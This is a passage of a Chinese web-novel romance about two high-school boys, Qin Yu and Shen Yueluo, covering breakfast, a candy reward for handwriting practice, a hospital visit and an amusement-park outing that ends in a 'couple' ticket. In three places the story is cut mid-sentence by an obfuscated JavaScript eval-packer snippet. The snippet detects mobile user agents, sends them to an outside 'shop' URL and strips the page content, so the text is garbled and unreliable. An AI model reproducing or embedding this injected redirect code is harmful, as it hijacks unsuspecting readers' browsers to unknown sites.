片刻后,卧室里隐约传来细微的喘息声,还有白兰带着哭腔的求饶声,声音不大,却足够清晰地传到两人耳朵里,带着几分暧昧的味道。 秦玉的脸颊红得更厉害了,耳朵尖都透着粉色,连脖子都红透了。 他猛地意识到自己还被沈月落紧紧抱在怀里,胸膛贴着沈月落的胸膛,能感受到对方有力的心跳,身体瞬间更僵了,像块石头,连忙红着脸轻轻推了推沈月落的胸膛,声音细若蚊蚋:“沈同学,你先放开我……有人会看到的……” 沈月落好不容易抱到秦玉,温香软玉在怀,还没抱够,心里难免有些失落,但看到他害羞得快要冒烟的样子,连耳根都红透了,又忍不住觉得可爱,指尖轻轻捏了捏他的腰,才恋恋不舍地松开手,却还是紧紧牵着他的手腕,指尖缠着他的手指,生怕他跑了。 “我们去吃早餐吧,”沈月落的声音带着几分不易察觉的温柔,拉着秦玉走到餐桌旁,把那碗特意煮的山药小米粥推到他面前,用勺子搅了搅,吹了吹,“这个养胃,温的,不烫口。” 秦玉低着头,长长的睫毛垂着,遮住了眼底的情绪,只轻轻说了句“谢谢”,拿起勺子,小口小口地喝着粥,脸颊依旧泛着红,连喝粥的动作都透着乖巧。 粥熬得很软糯,山药炖得烂烂的,带着淡淡的甜味,温温热热的,顺着喉咙滑下去,暖到了胃里,也暖到了心里。 餐桌上的气氛有些沉默,却并不尴尬。 晨光透过餐厅的落地窗洒进来,落在两人身上,暖洋洋的,在餐桌上投下斑驳的光影。沈月落时不时偷偷看向秦玉,看着他认真喝粥的样子,看着他粉嫩的唇瓣碰到勺子,看着他脸颊上的红晕,嘴角忍不住上扬,自己也跟着胃口大开,煎蛋和面包吃起来都比平时香。 秦玉似乎察觉到了他的目光,喝粥的动作顿了顿,抬起头,怯生生地看了他一眼,又迅速低下头,耳尖红得更厉害了,勺子搅着碗里的粥,不敢再看他。 沈月落被他这副样子逗笑了,低低的笑声在餐厅里响起,带着几分宠溺。秦玉的头埋得更低了,恨不得把脸埋进碗里。 一顿早餐就在这样暧昧又温馨的氛围中结束了,秦玉喝光了整整一碗粥,沈月落则把自己的煎蛋也夹给了他,看着他吃完,眼里的温柔都快溢出来了。 收拾好餐桌后,家里的司机已经在门口等着了,按沈月落的要求,早早地把车开了过来,停在别墅门口。 沈月落牵着秦玉的手,两人一路无言地走出别墅,指尖相扣,带着彼此的温度,坐进了车里。 车里很安静,只有空调吹风的轻微声音,温度调得刚刚好,很舒服。 秦玉靠在车窗上,看着窗外飞速掠过的风景,从精致的别墅区到热闹的街道,心里乱糟糟的,像缠成了一团麻。 他偷偷侧过头,看了一眼坐在身边的沈月落。 少年靠在座椅上,眉眼舒展,嘴角带着淡淡的笑,看向他的目光里满是温柔,仿佛看穿了他的心思…… 沈月落察觉到他的不安,悄悄握紧了他的手,轻轻捏了捏他的指腹,低声安慰,声音温柔得能滴出水来:“别担心,我俩爹人都很好,就是有点八卦好事儿,没有恶意的。我爹那是吃醋,吃醋我爹地对你太好,忽略了他,不是针对你。” 秦玉感受到掌心的温度和力量,心里的不安渐渐消散了些,像被春风拂过的湖面,慢慢平静下来。他轻轻点了点头,反手握住了沈月落的手,指尖微微用力,像是在回应他,也像是在给自己打气。 没关系,只要有沈月落在一切都好…… 12. 奖励 晨读铃还在走廊里打着旋儿,今天天气不好,但带着独一份儿的凉意,钻进了教室…… 秦玉先一步跨进门,校服袖口被风掀起,露出半截细白手腕,腕骨在斜斜照进来的晨光里透着淡淡的瓷色,像上好的白瓷轻轻叩击就能发出清响…… 他没理会周围同学若有似无的窃窃私语——多半是议论他怎么会和沈月落怎么是一起来的。 而且还有同学看到了他们刚刚下的同一辆车,而且还是牵着手进入校门的——绯闻就是这么来的…… 但秦玉不在意,他只是径直走向靠窗的座位,指尖刚触到微凉的桌沿,身后就传来重物落地的闷响…… 沈月落把鼓囊囊的书包往邻座的椅背上狠狠一甩,金属拉链撞得木质椅背轻轻一颤,惹得前排同学纷纷回头瞥了眼,见他抬头,又都赶紧转了回去…… 下一秒,拉链“哗啦”一声被拉开,他从书包里掏出本厚厚的字帖,那本子比寻常练习册沉了不少,明明是昨天早上刚刚买的新书,封面都被磨得有些毛边——真是邋遢…… 但现在,这本字帖却又被他像捧着什么宝贝似的,乖乖递到秦玉手边。 “昨天的任务我写完了,”沈月落的尾音带着点刻意压低却藏不住的撒娇上扬,像只摇着尾巴讨赏的大型犬,说着就往前凑了凑,校服外套的领口蹭到秦玉的肩膀,带着点清晨户外的凉意,“奖励是什么~~” 秦玉的动作顿了顿,耳尖悄然泛起一层薄红…… 他没回头,只是伸手接过字帖,指尖在烫金的封面上轻轻划了一下,声音平稳得像在掩饰什么:“你什么时候写的?” “昨晚你去客房以后啊。”沈月落的声音里满是邀功的雀跃,下巴几乎要搁在秦玉的肩膀上,温热的呼吸扫过秦玉的脖颈,让他脖颈处的汗毛都轻轻颤了颤…… “这么用功?”秦玉轻轻翻开字帖,五页纸都写满了工整却略显笨拙的字迹…… 明明别人都是字如其人,但他偏偏是那个个例…… 但值得表扬的是,沈月落的字以前潦草得像龙飞凤舞,横不平竖不直,如今这笔字虽算不上好看,笔画却一笔一划都透着股认真劲儿,甚至能看到有些地方写歪了又描正的痕迹…… 他侧头瞥了眼沈月落,对方正睁着亮闪闪的眼睛盯着他,长睫毛像小扇子似的轻轻眨着,那副可怜巴巴求表扬的模样,让他到了嘴边的“还需改进”都软了下来,斟酌许久,他还是换了一个词,“写得还不错……奖励……” “奖励是什么??”沈月落瞬间拔高了音量,激动得攥了攥拳头,指节都泛了白,生怕秦玉反悔。 周围几个同学又看了过来,秦玉的耳尖红得更厉害了,连忙收回目光…… 他从校服兜里掏了掏,指尖捏着个小小的东西,转身放进沈月落手心。 沈月落低头一看,是颗裹着透明糖纸的水果糖,糖纸上印着小小的樱花图案,粉白相间的纹路在阳光下泛着细碎的微光,像把春天的花瓣揉进了糖纸里…… “给我的??!!”他眼睛瞬间亮得惊人,语气里满是不敢置信的狂喜,音量都没控制住,引得前排同学再次回头。 秦玉连忙用眼神示意他小声点,自己却因为这过度的反应,脸颊也染上了一层淡淡的红晕。 “嗯。”秦玉点点头,声音轻得像羽毛,生怕惊扰了这份小心翼翼的欢喜。 话刚说完,又有些局促地补充,“你……不喜欢吗?”他其实昨晚准备奖励时就纠结了好久,沈月落那样的校霸,平时收的可能都是兄弟递的烟或者游戏卡,会不会觉得一颗水果糖太幼稚了。 “怎么可能不喜欢!”沈月落连忙把声音压到最低,却还是难掩语气里的激动…… 他小心翼翼地把糖揣进校服内兜,指尖反复摩挲着糖纸的纹路,像是捧着什么稀世珍宝,自言自语道,“我要好好珍藏,谁也不给。”说着还抬眼看向秦玉,嘴角咧开一个大大的笑,眼底的欢喜像要溢出来一样…… 秦玉的嘴角也不自觉地勾起一抹浅浅的笑意,眼底的清冷被温柔取代:“只要你每天按时完成任务了,奖励都会有的。” “真的吗??!!”沈月落的眼睛亮得像藏了星星,抓着秦玉的胳膊轻轻晃了晃,动作带着点不自觉的依赖。 秦玉被他晃得心头一跳,连忙轻轻挣开,却没舍得太用力。 “我骗你干什么。”他拿起桌上的语文书,假装翻页,实则在掩饰自己越来越红的耳尖。 沈月落像是得了天大的承诺,立刻坐直了身子,拍了拍胸脯:“好的!保证完成任务!”那模样,活像个领了军令状的士兵…… 秦玉微微笑了笑,抬眼看向他:“好了,赶紧去把作业交了,然后回来早读。” “好嘞!”沈月落屁颠儿屁颠儿地抓起桌上的作业本,快步走向办公室…… 他边走,还忍不住摸了摸内兜的糖,嘴角一直挂着笑。 好巧不巧,他正好碰见了以前H班跟自己玩的还不错的学习委员,那人看着他傻笑的样子,忍不住问了句:“你今天捡到一公斤黄金了?这么开心。”沈月落只是嘿嘿笑了两声,没解释,转身就往回走…… 秦玉,他偷偷的现在班级门口,望着走廊里,他的身影…… 咱们的秦大学霸自然会觉得他有点幼稚,但是想不到的是,他觉得沈月落还有些……可爱……想到这儿,他又莫名其妙的突然捂住了脸,片刻后才把手放下,脸色已经恢复。 沈月落交完作业还是顺着走廊,目的地——教室…… 秦玉见他回来了,赶紧回到座位上,拿起练习册开始写…… 沈月落没察觉到什么,他进入教室,回到自己的座位,坐下…… 秦玉偷偷总余光瞄了一眼他,希望他刚刚没有看到自己…… 如他所愿……沈月落看着像没注意到什么…… 可又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163952|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了几分钟,他又像是想起了什么,凑到秦玉耳边。 庆幸的是,不是沈月落发现秦玉偷偷看他了…… 只听见沈月落声音带着点小心翼翼的试探,呼吸拂过秦玉的耳廓,让他刚降下去的热度又悄悄升了上来,“秦同学……你以后可以每天都来给我当家教吗?”他的声音带着点小心翼翼的试探,呼吸拂过秦玉的耳廓,让他刚降下去的热度又悄悄升了上来…… “每天?”秦玉侧头看他,眼神里带着点犹豫。其实他并不反感和沈月落待在一起,只是每天都去他家,会不会太频繁了…… “嗯……”沈月落点点头,眼神里带着点期待,又有点忐忑,生怕秦玉拒绝,“我觉得一周两次的进度太慢了,我想快点跟上你的脚步。”他说这话时,眼神真挚,秦玉看着他,忽然觉得那句“太快了”怎么也说不出口。 “……先隔一天一次吧……” 秦玉最终还是没松口,却补充了一句,“等这个月月考出成绩后,再考虑隔一天还是每天。” 沈月落的小计划没能立刻得逞,脸上露出一丝小小的失落,蔫蔫地“哦……好吧……”,像只被泼了点冷水的大狗狗,耳朵都耷拉下来了。 秦玉看着他这副模样,心里软了软,想说点什么安慰他,却又不知道该说什么。 他刚拿起书准备早读,沈月落又不死心地问了一句:“那这周末……我跟你去看外公后,咱们俩可以去玩吗?”他说着,眼神里满是期待,“正好晚上你再辅导我学习……” 秦玉有点犹豫不决。 他本来周末是要回家陪外公的,沈月落说想一起去,他没好意思拒绝,毕竟沈月落在自己面前乖乖的,也一直很听他的话认真学习…… 可看完外公再一起去玩,总觉得像是约会一样,让他有些心慌。 “那……看你今天跟明天的表现,”秦玉最终还是松了口,给他设定了条件,“如果这两天的作业都完成得好,字迹也有进步,就带你去。” “真的?!”沈月落瞬间又满血复活,眼睛亮得惊人,连忙保证,“我肯定好好写!绝对不让你失望!”他说着,还伸出手指,“我们拉钩!” 秦玉看着他递过来的手指,指尖修长,指节分明,带着点薄茧。 他犹豫了一下,还是轻轻伸出手,勾住了他的手指。 两人的指尖相触,沈月落的手指带着点温热的温度,秦玉的手指还是那般微凉,一冷一热的触碰让两人都顿了顿。 沈月落的心跳瞬间漏了一拍,他能清晰地感受到秦玉指尖的细腻,那触感像羽毛一样轻轻挠在他的心尖上。 秦玉也有些不自然,连忙松开手,假装拿起书早读,可脸颊的温度却越来越高,连看书上的字都有些模糊了。 今天沈月落一直在抚摸自己与秦玉拉勾的那个小拇指,认真的听课…… 可秦玉,今天的知识,确全部被他的脑子排斥到了外面…… 13. “约会” 周末的风裹着秋末的微凉,卷着已经掉落在地面的干巴枫叶。 沈月落站在两人事先约定好的地点,指尖反复摩挲着衬衫领口…… 他穿了件新买的米白色衬衫,还是他的经典动作——袖口仔细挽到小臂,露出线条流畅的手腕,但今天,他连头发都特意梳得整齐,镜里的少年眼中藏着按捺不住的期待——这是他和秦玉第一次正式“约会”,从周五,也就是昨天,秦玉点头答应的那一刻起,他就翻遍了衣柜,只想以最好的模样出现在对方眼前。 没过多久,就传来轻微的脚步声。 沈月落抬眼望去,秦玉正缓步走来,身上是一件很普通的黑色长袖…… 布料贴合着清瘦的肩背,衬得脖颈线条愈发干净利落,明明只是一件也就三四十块钱的衣服,但在他身上,就给人一种不一样的感受…… 他提着一个简单的帆布包,额前的碎发被风吹得微乱,清冷的眉眼间带着一丝刚睡醒的慵懒,却依旧好看得让人移不开眼…… “等久了?”秦玉的声音清清淡淡,像秋日,山间的泉水…… 沈月落连忙摇头,快步上前,自然地接过他手里的保温袋——里面装着给秦玉外公带的养胃粥。 “没多久,刚到。外公最近身体怎么样?” “好多了……”秦玉说着,目光不经意间扫过沈月落的衬衫,顿了顿,补充道,“挺好看的。” 简单的四个字,让沈月落的耳根瞬间泛红…… 他挠了挠头,掩饰性地转移话题:“那我们快走吧,别让外公等急了。” 两人并肩走在去医院的路上,微凉的风拂过,沈月落总忍不住偷偷瞥向身边的人。 秦玉走路的姿势很直,侧脸的轮廓分明,睫毛很长,垂眸时会在眼睑下投下一小片阴影…… 沈月落心里像揣了只兔子,砰砰直跳,既想靠近一点,又怕唐突了对方,只能借着聊外公的话题,笨拙地找着话茬。 秦玉的外公见到他们来,笑得合不拢嘴。 沈月落熟门熟路地帮陆梓枫收拾桌子、倒温水,还陪着聊了些学校里的趣事,逗得他频频发笑。 秦玉坐在一旁,安静地给外公剥橘子,偶尔抬眼看向沈月落,眼底会掠过一丝不易察觉的柔和。 沈月落总能精准捕捉到他的目光,每次对视,都像有电流窜过,让他说话都忍不住带了点颤音。 探望完外公,已经临近中午…… 沈月落提议先去吃点东西,秦玉没有异议,跟着沈月落进了一家环境安静的家常菜馆。 沈月落熟练地点了几道菜,不用叮嘱,他都会记住的。这些菜都是清淡养胃的,而且他还特意嘱咐服务员少盐少辣。 秦玉看着他认真点菜的样子,指尖轻轻敲击着桌面,心里泛起一丝暖意——自从父母离世后,除了外公,很少有人会这样细致地照顾他的饮食。 下午一点,两人准时抵达游乐园。 检票口的工作人员笑着递过门票,沈月落接过票,转头看向秦玉,眼里满是期待:“秦同学,准备好了吗?今天带你把这里玩个遍!” 秦玉站在游乐园门口,看着色彩斑斓的设施和远处高耸的摩天轮,眼神有片刻的恍惚。 他记不清多久没来过游乐园了,或许是在两个父亲都在世的时候,那时他们一家三口也曾这样手牵手,在旋转木马上欢笑。久远的记忆像潮水般涌来,带着淡淡的酸涩,让他不自觉地攥紧了手心…… “秦同学,魂儿跑哪儿去了?”沈月落察觉到他的怔忪,宽厚的手掌在他眼前轻轻晃了晃。 温热的掌心带着熟悉的温度,秦玉猛地回神,对上沈月落关切的目光,脸颊微微发烫,低声道:“没什么,只是很久没来过了。” “那正好,今天我带你好好体验一下!”沈月落说着,自然地拉起秦玉的手腕…… 秦玉的手腕很细,骨头分明,被他攥在手里,像握住了一件易碎的珍宝…… 沈月落拉着秦玉,像个兴奋的大狗,直奔过山车项目。 排队时,秦玉看着轨道上呼啸而过的车厢和游客的尖叫声,下意识地往后缩了缩。 沈月落察觉到他的紧张,侧过头低声问:“怕了?要是不想玩,我们可以换别的。” 秦玉咬了咬下唇,摇了摇头:“没事,试试吧。”他不想扫沈月落的兴,更不想在对方面前示弱。 坐上过山车时,秦玉的手紧紧攥着扶手,指节泛白…… 沈月落坐在他旁边,注意到他的紧张,悄悄伸出手,覆盖在他的手背上:“别怕,有我在。” 温热的掌心传来安心的力量,秦玉愣了愣,没有抽回手,任由他握着。 过山车启动的瞬间,强烈的失重感让秦玉忍不住闭上了眼睛,身体下意识地往沈月落身边倾了倾。 沈月落立刻稳稳扶住他的腰,在呼啸的风声中大声喊:“秦同学,睁开眼睛看看!风景超棒的!” 秦玉犹豫着睁开眼,眼前是飞速掠过的风景和湛蓝的天空,风在耳边呼啸,心脏狂跳不止,却不再是单纯的恐惧。 他转头看向沈月落,对方正迎着风大笑,阳光洒在他脸上,张扬又耀眼,那一刻,秦玉觉得心里某个角落好像被什么东西填满了…… 具体是什么……连他自己都不知道…… 下来的时候,秦玉的腿还有点软,沈月落扶着他,忍不住打趣:“秦大学霸也有怕的时候啊?” 秦玉瞪了他一眼,脸颊微红:“谁怕了,只是有点不适应。” “好好好,你没怕。”沈月落笑着妥协,顺手揉了揉他的头发,柔软的发丝触感很好,让他舍不得移开手。 秦玉也许是适应了吧,他不躲,反而在享受着…… 接下来,沈月落又拉着秦玉玩了海盗船、碰碰车。 秦玉从一开始的拘谨,渐渐被沈月落的兴奋感染,脸上也露出了难得的笑容。 碰碰车项目里,沈月落故意放慢速度,让秦玉撞了自己好几次,看着秦玉眼里闪过的狡黠,沈月落觉得心里甜滋滋的。 轮到旋转木马时,秦玉站在围栏外犹豫了很久。 在他的印象里,这是小孩子玩的东西,可看着沈月落期待的目光,他还是妥协了,轻轻踏上台阶,选了一匹白色的木马坐下。 刚坐稳,沈月落就毫不犹豫地跨上了他旁边的黑色木马,高大的身影坐在小巧的木马上,显得有些反差萌…… 设施启动的瞬间,借着惯性,沈月落的肩膀轻轻撞了撞秦玉的:“秦玉,你看我这样像不像守护王子的骑士?” 秦玉没说话,只是微微偏过头,避开他灼热的目光。 旋转木马缓缓转动,阳光透过树叶的缝隙洒下来,落在沈月落脸上,勾勒出他清晰的轮廓和灿烂的笑容。 秦玉悄悄侧过头,看着他迎着阳光扬起的嘴角,眼底的笑意真挚又热烈,自己的嘴角也不自觉地弯了弯。 他抬手轻轻碰了碰自己的嘴角,心里有些茫然——这种看到对方笑就忍不住开心,想靠近对方、想让对方一直开心的心情,真的只是兄弟之间的关心吗? 秦玉摇了摇头,把这个念头压了下去,一定是自己想多了,他和沈月落只是最好的朋友,一辈子都是…… 下了旋转木马,远处传来小吃摊的吆喝声,香气顺着风飘了过来。 秦玉的目光不自觉地被吸引,落在不远处的烤肠摊和棉花糖机上。 他家里穷,勉强维持生计,更别说吃这些街头小吃了,此刻看着金黄诱人的烤肠,眼底藏着不易察觉的好奇。 沈月落一直留意着他的一举一动,立刻就发现了他的目光,低声问:“想吃?” 秦玉的脸颊微微泛红,有些不好意思地别过脸,轻轻“嗯”了一声。 沈月落的心瞬间软成一片,他轻轻拉过秦玉的手,指尖带着温热的温度:“那些东西不太卫生,你胃不好,吃了容易不舒服。” 他顿了顿,看着秦玉略带失落的眼神,补充道,“你想吃什么跟我说,我让家里的阿姨用好食材一比一复刻出来,保证比这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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心里的念头转得飞快,秦玉咬了咬下唇,抱着想给沈月落挣钱的心思,在沈月落惊讶的目光中,轻声应道:“我们是情侣。” 话音落下的瞬间,周围仿佛安静了下来。 沈月落瞪大了眼睛,难以置信地看着秦玉,心脏狂跳不止,像要冲出胸腔。 他刚才听到了什么?秦玉说他们是情侣?!巨大的惊喜像潮水般涌来,让他一时间忘了说话,耳根和脸颊瞬间涨得通红。 秦玉说完,也觉得脸颊烫得像要烧起来。 他不敢看沈月落的眼睛,只能低着头,盯着自己的鞋尖,心里慌得一批——他刚才怎么就说出口了?明明只是想给他省钱,可这句话说出来,好像有什么东西不一样了。 售票员姐姐一脸姨母笑,看破不说破地递过两张表格:“那两位帅哥可以证明一下吗?简单互动一下就行,比如亲一下额头,牵个手也可以的……” “证明?”秦玉猛地抬头,眼里满是慌乱,在他心里,他和沈月落只是朋友,刚才一时冲动说了那句话,现在要怎么证明啊? 沈月落终于从震惊中回过神来,看着秦玉手足无措的样子,心里又甜又好笑。 他深吸一口气,鼓起勇气,轻轻握住了秦玉微凉的手。 秦玉的手很软,指尖带着一丝颤抖,被他握住的瞬间,身体明显僵了一下。 “这样可以吗?”沈月落的声音带着一丝不易察觉的紧张,看向售票员姐姐。 虽说两人也牵过了几回,但这次……似乎不太一样…… 售票员姐姐看着两人,笑着点头:“当然可以啦!”她麻利地给两人办理了半价票,还递过一个精致的小盒子,“这是你们的情侣钥匙扣,可以现在刻名字哦。” 沈月落垂眸看着秦玉,眼神似乎在询问秦玉要不要刻字,秦玉抬头,与他四目相对。 秦玉也明白他的意思,微微点头示意。 “那……就刻上吧。”沈月落对售票员姐姐说道。 那个姐姐应了一声,让两人把名字写下来。 随后打开工具,两人的“定情信物”在五分钟的时间里迅速的做好了。 沈月落拿走了刻着秦玉名字的,秦玉看着沈月落,眼神中带着询问。 沈月落凑近他,语气里带着笑意:“这样我们就可以永远记住彼此了……” 秦玉没明白他的内涵意思,但耳尖的那抹薄红依然存在…… 14. 无言 暮色漫过游乐园的霓虹时,钟楼上的指针刚滑过七点…… 秦玉跟着沈月落走出摩天轮撒下的的光晕,游乐园门口停着一辆黑色轿车,轿车的车灯已经亮起,司机秦玉上次去沈月落家也见到了,他恭敬地拉开车门,让两人上车…… 两人坐进后座,秦玉低着头,下意识将手揣进衣兜,指尖刚好攥住那个小巧的挂件——木质的表面刻着沈月落的名字,边缘被体温焐得温润…… 身旁的沈月落手肘搭在车窗上,掌心摊着个同款挂件,刻着“秦玉”二字的地方,被他的大拇指无意识地反复摩挲,指腹蹭过木头纹理,发出极轻的声响…… 两个人加上司机,他们都一路无话,只有轮胎碾过路面的平稳动静…… 车窗外的街景飞速倒退,霓虹在两人脸上投下忽明忽暗的光影,沈月落和秦玉,他的谁也没转头,却都能感受到身旁那人的呼吸节奏,与自己的悄然重合…… 车子稳稳停在别墅门前,沈月落先推门下了车,转身时目光在秦玉发顶顿了顿,没说话,只是抬手替他挡了挡车门框。 秦玉垂着眼跟上,两人一前一后踩着石板路,脚步声在安静的庭院里格外清晰,直到推开别墅大门,暖黄的灯光将两道身影轻轻裹住…… 白兰还是像往常一样,穿着松垮的灰色珊瑚绒睡衣,蜷在沙发角落刷着手机。 客厅暖黄的灯光漫在他身上,衬得那份居家的慵懒格外明显…… 玄关处传来钥匙转动的声响时,他头也没抬地随口喊了句“回来啦”,直到脚步声带着莫名的滞涩靠近,才慢悠悠转过头。 视线扫过门口的两人,他捏着手机的手指顿了顿——秦玉的脸颊红得快要滴血,眼神躲闪着不敢看他,连耳尖都泛着薄红;而自家儿子沈月落跟在旁边,一手还虚虚护着秦玉的后背,表情是少见的无措…… 没等白兰开口问,秦玉像是被烫到似的往后缩了缩,语速快得几乎打结:“白叔叔,我、我先去上个卫生间!” 话音未落,人已经一阵风似的冲进了走廊尽头的卫生间,“咔哒”一声落锁的声音格外清晰…… “??So???” 白兰满脸都是大写的问号,转头看向一屁股坐在他旁边的沈月落,挑眉追问:“你对人家做什么了??看把孩子慌的。” 沈月落往沙发背上一靠,指尖无意识地摩挲着裤缝,喉结滚了滚,却没答话…… 他知道,秦玉还是因为那个……太害羞……也不敢面对沈月落的家人罢了。 白兰盯着沈月落讳莫如深的样子,眉头拧得更紧:“你这神神秘秘的,秦玉到底为啥不肯来啊?” 沈月落指尖还停在唇前,耳廓悄悄泛着热,喉结滚了滚才慢悠悠开口:“问了也不告诉你……” 他垂着眼,想起刚刚拿到情侣挂件后,秦玉耳尖红得快要滴血、说话都打磕巴的样子,嘴角忍不住勾了勾。 白兰撇撇嘴,心里的猜测更笃定了:是不是这臭小子把人家强吻气着了? 他凑过去想再追问,却被沈月落伸手推开,少年眼底藏着点不易察觉的温柔,语气却依旧硬邦邦:“别瞎想……他只是……害羞了……” “害羞??因为什么害羞??” 还没等沈月落再答,秦玉已经整理好了心情,从卫生间出来…… 见他出来,白兰也没有再说什么,他假装若无其事,依旧看着电视…… 秦玉走过来,步伐略快,随后在沈月落面前站定:“沈同学……我们现在应该去学习了……” 沈月落只是乖乖地起身,跟着秦玉…… 他推开书房门,率先走了进去,将书包放在书桌一角,转身时对上沈月落的目光。 对方眼里没有了游乐园时的雀跃,只剩几分刻意收敛的乖顺,仿佛刚刚的亲近只是一场错觉…… “坐。”秦玉移开视线,声音依旧平淡,只是翻开课本的手指比平时慢了半拍。 沈月落乖乖坐下,手肘撑在桌面上,却没去看课本,反而一瞬不瞬地盯着秦玉的侧脸。 灯光下,秦玉的睫毛很长,微微垂着,遮住了眼底的情绪。 “看什么?”秦玉察觉到他的目光,抬眼看来,目光带着一丝不易察觉的躲闪…… 沈月落立刻收回视线,拿起笔在草稿纸上胡乱画着,声音低低的:“没什么…” 他刻意的去模仿平时的语气,却没发现自己握着笔的手指,悄悄蜷了起来——他其实很想问问,刚刚的秦玉……心里在想什么。 有好感吗…… 但又怎么可能…… 书房里只剩下笔尖划过纸张的沙沙声,窗外的夜色渐浓,两人都在假装一切如常,却又都在悄悄在意着,那份被刻意忽略的亲近,是否还藏在彼此的心底…… 只是一会儿,在原木餐桌上,刚出炉的烤肠泛着油亮的焦糖色,肠衣上细密的纹路里裹着白芝麻,空气里飘着浓郁的肉香与黑胡椒的辛香。 李姨正用隔热夹把烤肠摆进瓷盘,端上了餐桌,收拾好一切后,才来到了书房门口,轻敲了两下门:“月落,你要得烤肠刚刚做好,要过来吃吗?” 沈月落闻声停了笔,向门外应了一声:“好的李姨,我们马上过来!” 他微抬起头,看向秦玉:“秦同学,你的烤肠好了~~先去吃吧~” 还没等他再说什么,沈月落就起身,轻拉过他的手腕,出了书房,下楼,又到了餐厅…… 餐厅安静,白兰也没有来,他专门给两人留了独处的空间。 李姨给两人又炒了几盘菜,送过来,接着也识趣儿的退了出去。 秦玉落座在沈月落的对面,他的手腕似乎还残留着沈月落掌心的温度,指尖微蜷着坐下,目光不自觉落在对方骨节分明的手上——沈月落正用牙签戳起一根烤肠,却没往自己嘴里送,反而吹了吹,又转了个方向递到他唇边,尾音带着点刻意放软的调子:“张嘴,秦同学,可能有点烫,你慢点儿吃。” 秦玉微怔,两秒后才张开…… 烤肠往前一递,就进了秦玉的嘴。 “好吃吗?”沈月落托着腮,笑着带着宠溺。 “第一次吃……很好吃……”他咀嚼着,声音也有些含糊不清。 “那就多吃点,我再给你做点儿养胃的汤。”话落,他欲起身。 “不用。”他拽住他,又放开。 “我没有那么脆弱… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163954|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …不用的。” 他只是害怕麻烦人家,却又不知怎么委婉的说…… 沈月落虽然理解能力不是太强,但也不傻,该听出话的时候自然能听出来。 “秦同学,你不用担心会麻烦我。”他的指尖在秦玉的左侧脸颊上微微擦过,他的动作小,秦玉的注意力也不在这上,又让他占了些便宜…… 他又装作不经意地收回手:“听话,你先吃烤肠,等我五分钟,马上就好。” 他拗不过,也就之作罢:“嗯……谢谢。” 厨房传来轻微的声响,是瓷碗碰撞的脆响,混着沈月落哼着曲子,打破了客厅的寂静。 他好歹在高一的时候跟萧星在一起表演过得,哼的还可以,不吵闹,还意外的有些好听…… 秦玉抬眼望过去,磨砂玻璃门后映出高大的身影,那人似乎正弯腰搅动锅里的东西,动作算不上娴熟,甚至偶尔会碰出些细碎的动静,可每一声都像是落在柔软的棉花上,轻轻的,带着让人安心的分量…… 秦玉把目光移了回来,他继续拿着那根烤肠,小口吃着…… 片刻后,又是那碗热粥。 “做好了,趁热喝。”粥是满满一碗,他的指尖触到碗沿,有些红痕。 秦玉看着那痕迹,眉头微不可察地蹙了一下。 他想说“你小心点”,话到嘴边却又咽了回去。 他觉得别扭,随后也只低声应了句:“嗯。”伸手拿过勺子。 沈月落好不容易有了个机会,刚想拿勺喂他,却已经被秦玉先快一步。 他的手僵在半空,回过神后才尴尬收回。 他注视着秦玉,饭也只是象征性的吃了两口…… 大约也就二十分钟,一碗粥见了底。 “还要吗?” 秦玉摇了摇头,把最后一口烤肠吃完,攥着空竹签的手指微微收紧:“够了。” 他顿了顿,抬头看向沈月落,犹豫了一下,还是轻声问道,“你的手……没事吧?” 沈月落一见秦玉关心了自己,眼睛瞬间又亮了许多,内心又是激动的一批:“我没事,这小伤算什么。” “哦……”话语终止。 又是无言…… “那个……我先走了。” 沈月落上次也答应了秦玉,他也不做挽留:“好,我叫人送你。” “嗯……麻烦了……” 晚上十一点,秦玉只让司机将自己送到了医院门口。去看了外公后,才又自己走回到那个平房。 房子有点小,还有些旧,但被秦玉收拾的很干净。 他把书包放在桌子上,自己把外衣外裤一脱,就上了床。 这几天,也总是阴晴不定的…… 早上的大晴天,到了现在,刮起了大风,响了雷,了又下了雨…… 沈月落自然是担心秦玉的,但遗憾的是,他还没有加秦玉的联系方式,不知道他的家庭住址……他坐在床上,脑子里全是他。 而秦玉,他更是无法入睡,不只是因为这个狂风暴雨的天气,更是无法忘记那晚指尖留下的温存…… 他似乎在那年已经忘了怎么去爱……但不代表他不渴望被爱…… 15. 外套 早读课的铃声像淬了冰的催命符,尖锐地划破清晨的死寂,最后一声尾音还没消散,后门就被人猛地顶开一条缝。 沈月落躬着身子,校服外套松垮地搭在肩上,额前的碎发被晨风吹得凌乱,几乎是贴着地面溜了进来,鞋底蹭过瓷砖的轻响在安静的教室里格外清晰。 他喘着气直起身,指尖刚攥住后门门框稳住身形,视线就不受控制地往靠窗的位置瞟去——那是他心里默认的方向,一天的开始总要先确认那人在不在。 少年支着胳膊肘撑在桌面上,侧脸线条清瘦利落,下颌线绷出淡淡的弧度,一本语文课本竖在面前,刚好挡住大半个脸,只露出一截白皙的脖颈和微蹙的眉头,连眼睫都垂着,透着股没睡醒的倦意。 不用想……秦玉肯定没睡好。 